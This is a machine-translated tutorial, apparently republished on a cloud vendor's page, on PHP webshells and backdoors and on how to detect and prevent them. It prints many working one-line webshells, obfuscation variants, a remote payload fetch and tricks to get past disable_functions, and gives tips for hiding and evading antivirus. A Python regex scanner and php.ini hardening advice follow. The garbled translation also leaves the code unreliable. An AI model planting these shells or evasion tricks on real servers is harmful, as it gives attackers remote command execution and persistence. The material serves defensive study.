Detailed PHP security Webshell and Backdoor detection examples

Source: Internet
Author: User
PHP-based applications face a variety of attacks:

  • XSS: Cross-site scripting is a vulnerable point for PHP Web applications. Attackers can use it to steal user information. You can configure Apache, or write more secure PHP code (verify all user input) to protect against XSS attacks

  • SQL injection: This is the vulnerable point of the database layer in PHP applications. The precautionary approach is ibid. A common approach is to use mysql_real_escape_string () to escape a parameter and then make a SQL query.

  • File Upload : It allows visitors to place (i.e. upload) files on the server. This can result in a series of problems such as deleting server files, databases, obtaining user information, and so on. You can use PHP to suppress file uploads, or to write more secure code (such as verifying user input, allowing only PNG, GIF image formats to be uploaded)

  • contains local and remote files : An attacker could enable a remote server to open a file, run any PHP code, and then upload or delete files and install the backdoor. You can prevent remote file execution by canceling the settings

  • Eval/assert: This function allows a string to execute as if it were a PHP code. It is often used by attackers to hide code and tools on the server. By configuring PHP, canceling function calls such as Eval to implement

  • Sea-surt Attack (cross-site request forgery,csrf. Cross-site request forgery): This attack causes the end user to perform non-specified behavior under the current account. This can compromise the end user's data and operational security. If the target end user's account is used for administrator privileges, the entire web app will be compromised.

Here is a description of the above-mentioned several methods of attack

One, various Webshell

With the increase in business, more and more hackers to attack scanning, web site security is increasingly important, an inattentive to be a hacker to control the server, the most common way is to upload the Trojan file via post request, so that can execute arbitrary commands, if the control of the big thing bad

So we have to look at the security of the server.

The most popular kind of backdoor is called a Trojan horse, its form is as follows:

<?phpif (isset ($_request[' cmd ')) {    $cmd = ($_request["cmd"]);    System ($CMD);    echo "</pre> $cmd <pre>";    Die;}? >

This is easily detected by security software. In order to enhance the concealment, there have been a variety of a word Trojan deformation, through a variety of functions to disguise, here have to spit slot PHP weak type for security is fatal

A. Using the Str_replace function

<?php $a =str_replace (x, "", "axsxxsxexrxxt"), $a ($_post["code");? >//Description: Request parameters? Code=fputs (fopen  (base64_ Decode (j2mucghwjw==), W), Base64_decode ("pd9wahagqgv2ywwojf9qt1nuw2fdkts/pg==")) finally executes the command <?php assert (Fputs (fopen (' c.php ', W), ' <?php @eval ($_post[a]);? > "))?>

B. Using the STR_ROT13 function

<?php ($code = $_post[' code ') && @preg_replace ('/ad/e ', ' @ '. str_rot13 (' Riny '). ' ($code) ', ' Add '); >//description: First, hide the Eval function with str_rot13 (' Riny '). Then, with the E modifier, after preg_replace completes the string substitution, the engine evaluates the result string as PHP code using eval and returns the return value as a string that will be substituted for the final participation.

C. Using the Include function

<?php $filename =$_get[' code '];include ($filename); >//because the include method can directly compile files of any format to run in PHP format, so you can upload a txt-formatted PHP file , the real backdoor is written in the text.

D. Using the pack function

<?php if (Empty ($_session[' API '))    $_session[' API ']=substr (file_get_contents ('%s  ') %s ', pack ("h*", ' 687474703a2f2f377368656c6c2e676f6f676c65636f64652e636f6d2f73766e2f6d616b652e6a7067′), Uniqid ())) , 3649);    @preg_replace ("~ (. *) ~ies", Gzuncompress ($_session[' API '), NULL); >

E. Use session

<?phpsession_start (); $_post[' Code '] && $_session[' thecode '] = Trim ($_post[' code '); $_session[' Thecode ') &&preg_replace (' \ ' a\ ' eis ', ' e '. ') V '. ' A '. ' L '. ' (Base64_decode ($_session[\ ' thecode\ ')) ', ' a ');

F, hidden in HTML page

<! DOCTYPE HTML public '-//ietf//dtd HTML 2.0//en ' >

G, using the Assert function

<?php assert ($_POST[SB]);? >

Or

<?php$item[' wind ' = ' assert ', $array [] = $item; $array [0][' Wind '] ($_post[' Iixosmse ');

H. Copying files using the copy function

<?php$reg= "C". " O "." P "." Y "; $reg ($_files[myfile][tmp_name],$_files[myfile][name]);

Second, code confusion

<?php  @$_++;//$_ = 1  $= ("#" ^ "|"); // $ = _  $.=("." ^"~"); _p  $.= ("/" ^ "'");//_po  $.= ("|" ^"/"); _pos  $.= ("{" ^ "/");//_post  ${$}[!$_] (${$}[$_]);//$_post[0] ($_post[1]);  ? >

Or

<?php      $penh = "sigpvaw4oyxjyygixlfc2xpy2uojgesgijgmojgepltgimpkskpgikttly2hvicc8lycgiujgigsugijz4no30=";      $kthe = "JGEPPJGIMPEYRRPSGIDWCYC7ZWNOBYANPCCGIUGIJGSUJZ4NOGI2V2YWWOYGIMFZZTY0X2GIRLY2GI9KGIZSHWCMVN";      $FTDF = Str_replace ("W", "" "," Stwrw_wrwepwlwawcwe ");      $wmmi = "X3jlcgigxhy2ugioyxgijyyxkojy9bxlx3pvgixzxs8nlcgicvxhmvjyksigfycmf5kccnlccrgijyk";      $ZRMT = "Jgm9j2nvdwgi50jzskgiyt0gikx0ngipt0tjrgittpzihyzxnldcgkysk9psgidvbycggijgiiygjgmo";      $SMGV = $FTDF ("F", "" "," bfafsfef6f4_fdfefcodfe ");      $JGFI = $FTDF ("L", "" "," Lclrlelaltel_functlilon ");      $RDWM = $jgfi (", $SMGV ($FTDF (" GI "," ", $zrmt. $kthe. $wmmi. $penh))); $RDWM ();  ? >

Can use the Weevely tool to generate, code camouflage to avoid various mainstream anti-virus software

PHP Backdoor Generation Tool weevely

Weevely is a free software for PHP Webshell that can be used to simulate a telnet-like connection shell,weevely often used for Web program exploits, hiding backdoors, or using a telnet-like approach instead of Web page-based management. Weevely generated server-side PHP code is Base64 encoded, so you can cheat the mainstream anti-virus software and IDs, upload server-side code can usually be run directly through weevely.

Weevely generated by the use of the PHP backdoor method is now more mainstream base64 encryption combined with string morphing technology, the function used in the back door is a commonly used string processing functions, as the check rules of Eval,system and other functions will not appear directly in the code, This can cause backdoor files to bypass the Backdoor lookup tool check. Using the dark Group of Web backdoor Avira tools to scan, the results show that the file is free of any threats.

More common ways to confuse: (This is server-level confusion)

    • Modify file Time

    • Renamed into the folder after uploading, so that people can not visualize the file exception

    • File size spoofing (at least look at size like a normal script)

    • Choose your hiding path and access as little as possible

    • Malformed Directory%20

Third, if you bypass the configuration file

The General server administrator will disable the system, exec and other dangerous functions, then how to bypass it?

1. Use reflection

<?php$func = new Reflectionfunction ("System"), Echo $func->invokeargs (Array ("$_get[c]"); >

2. Using callback

Another way that PHP can indirectly invoke a function is callback. The Ob_start is used here.

<?php$cb= ' system '; Ob_start ($CB); echo $_get[c];ob_end_flush ();? >

There are many functions in PHP that support callback, such as Array_map,array_filter, Array_reduce,usort (), Uksort (), Array_walk (), etc.

Iv. what the security personnel should do

1. How to find

There are also many ways to find the intuitive

    • File backup compare to find exception (Svn/git comparison, see if File is modified) by filename/modification time/size

    • By Webshell Backdoor Scan script found, such as scanbackdoor.php/pecker/shelldetect.php/(Zhujiweishi)

    • Access log analysis via Access.log

Here is the Zhujiweishi, very easy to use on Linux servers

With common keywords such as (you can use commands such as Find and grep to search for the following files in your code)

    • System command execution: Systems, PassThru, shell_exec, exec, Popen, Proc_open

    • Code execution: eval, assert, Call_user_func,base64_decode, Gzinflate, gzuncompress, Gzdecode, str_rot13

    • Files include: Require, require_once, include, Include_once, file_get_contents, File_put_contents, fputs, fwrite

With a simple Python script


#!/usr/bin/env python# encoding:utf-8 Import os,sysimport reimport hashlibimport time rulelist = [' (\$_ (GET| Post| REQUEST) \[.{ 0,15}\]\s{0,10}\ (\s{0,10}\$_ (get| Post| REQUEST) \[.{ 0,15}\]\) ', ' ((Eval|assert) (\s|\n) *\ ((\s|\n) *\$_ (post| Get| REQUEST) \[.{ 0,15}\]\)) ', ' (eval (\s|\n) *\ (Base64_decode (\s|\n) *\ ((. | \ n) {1,200}) ', ' (function\_exists\s*\ (\s*[\ ' |\ "] (popen|exec|proc\_open|passthru) +[\ ' |\"]\s*\)) ', ' ((exec|shell\_ Exec|passthru) +\s*\ (\s*\$\_ (\w+) \[(. *) \]\s*\) ', ' (\$ (\w+) \s*\ (\s.chr\ (\d+\) \)) ', ' (\$ (\w+) \s*\$\{(. *) \}) ', ' (\$ ( \w+) \s*\ (\s*\$\_ (get| Post| Request| cookie| SERVER) +\[(. *) \]\s*\) ', ' (\$\_ (get| Post| Request| cookie| SERVER) +\[(. *) \]\ (\s*\$ (. *)) ', ' (\$\_\= (. *) \$\_) ', ' (\$ (. *) \s*\ ((. *) \/e (. *) \,\s*\$\_ (. *) \, (. *) \)) ', ' (New com\s *\ (\s*[\ ' |\ "]shell (. *) [\ ' |\"]\s*\)) ', ' (Echo\s*curl\_exec\s*\ (\s*\$ (\w+) \s*\)) ', ' ((fopen|fwrite|fputs|file\_put \_contents) +\s*\ ((. *) \$\_ (get| Post| Request| cookie| SERVER) +\[(. *) \] (. *) \)) ', ' (\ (\s*\$\_files\[(. *) \]\[(. *)\]\s*\,\s*\$\_ (get| Post| Request| FILES) +\[(. *) \]\[(. *) \]\s*\) ', ' (\$\_ (\w+) (. *) (eval|assert|include|require|include\_once|require\_once) +\s*\ (\ s*\$ (\w+) \s*\) ', ' ((include|require|include\_once|require\_once) +\s*\ (\s*[\ ' |\ "] (\w+) \. ( JPG|GIF|ICO|BMP|PNG|TXT|ZIP|RAR|HTM|CSS|JS) +[\ ' |\ "]\s*\)) ', ' (Eval\s*\ (\s*\ (\s*\$\$)) ', ' ((\w+ Include|require|include\_once|require\_once|array\_map|array\_walk) +\s*\ (\s*\$\_ (GET| Post| Request| cookie| server|          SESSION) +\[(. *) \]\s*\) ', ' (Preg\_replace\s*\ ((. *) \ (base64\_decode\ (\$)] def scan (path): Print (' Suspicious file ') print (' * ' *30) for root,dirs,files in Os.walk (path): For Filespath in Files:if Os.path                . GetSize (Os.path.join (root,filespath)) <1024000:file= Open (Os.path.join (Root,filespath)) Filestr = File.read () file.close () for rule in Rulelist:result = Re.comp Ile (rule). FindAll (FILESTR) ifResult:print ' file: ' +os.path.join (root,filespath) print ' Malicious code: ' +str (result[0 ][0:200]) print (' Last modified: ' +time.strftime ('%y-%m-%d%h:%m:%s ', Time.localtime (Os.path.getmtime (Os.pat H.join (Root,filespath)))) print ' \ n ' breakdef md5sum (md5_file): M = ha  SHLIB.MD5 () fp = open (md5_file) m.update (Fp.read ()) return m.hexdigest () fp.close () If md5sum ('/etc/issue ') = =    ' 3e3c7c4194b12af573ab11c16990c477 ': If Md5sum ('/usr/sbin/sshd ') = = ' abf7a90c36705ef679298a44af80b10b ': Pass Else:print (' * ' *40) print "\033[31m sshd modified, suspected to have back door \033[m" Print (' * ' *40) time.sleep (5) if md5sum ('/etc/issue ') = = ' 6c9222ee501323045d85545853ebea55 ': If Md5sum ('/usr/sbin/sshd ') = = '        4bbf2b12d6b7f234fa01b23dc9822838 ': Pass else:print (' * ' *40) print "\033[31m sshd modified, suspect left back door \033[m" Print (' * ' *40) time.sleep (5) If name== ' main ':     If Len (sys.argv)!=2:print ' parameter error ' print ' \ t looks for malicious code: ' +sys.argv[0]+ ' directory name ' if Os.path.lexists (sys.argv[1 ] = = False:print "Directory does not Exist" exit () print (' \ n \ Start looking for: ' +sys.argv[1]) if Len (sys.argv) ==2:scan (sy S.ARGV[1]) Else:exit ()

2, how to prevent

PHP.ini settings

    • Disable_functions =phpinfo,passthru,exec,system,chroot,scandir,chgrp,chown,shell_exec,proc_open,proc_get_status , ini_alter,ini_alter,ini_restore,dl,pfsockopen,openlog,syslog,readlink,symlink,popepassthru,stream_socket_ Server,get_current_user,leak,putenv,popen,opendir

    • Set "Safe_mode" to "on"

    • Prohibit "Open_basedir" to prohibit file operations outside the specified directory

    • Expose_php set to OFF so that PHP does not leak information in the HTTP file header

    • Set "Allow_url_fopen" to "off" to disable remote file function

    • Log_errors "Set as" on "error log on

PHP Coding aspects

    • Information submitted by all users post get or any other form of submitted data must be written in a separate filter function to deal with it again, habit (intval,strip_tags,mysql_real_escape_string)

    • Often check there is not a word trojan eval ($_post[full Station search PHP code There is no such source code

    • File naming specification at least let yourself be at a glance, which PHP file names are problematic

    • If you use open source code, there is a patch out, as soon as possible patch

    • If an attacker gets the highest privileges on the server, it is possible to modify the server's profile php.ini to achieve their purpose of hiding the backdoor, which was more prevalent in previous years. The principle is as follows: PHP.ini inside the two configuration items: Auto_prepend_file, auto_append_file can let PHP before parsing, add something to go in automatically add files before or after Any PHP document, if it is configured with the Eval () function of the back door that is very sinister, PHP file code can not be found, only in PHP before parsing contains the eval () function comes in and because it is global, so all the PHP page is the back door! So to first confirm Auto_prepend_file, Auto_append_file not be configured for other things, before the 3rd source code check.

Server Configuration

Configure the use of minimum permissions, do not write or execute the directory can not give the appropriate permissions

When Nginx or Apache is configured, directories that cannot be accessed must be configured as Deny

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.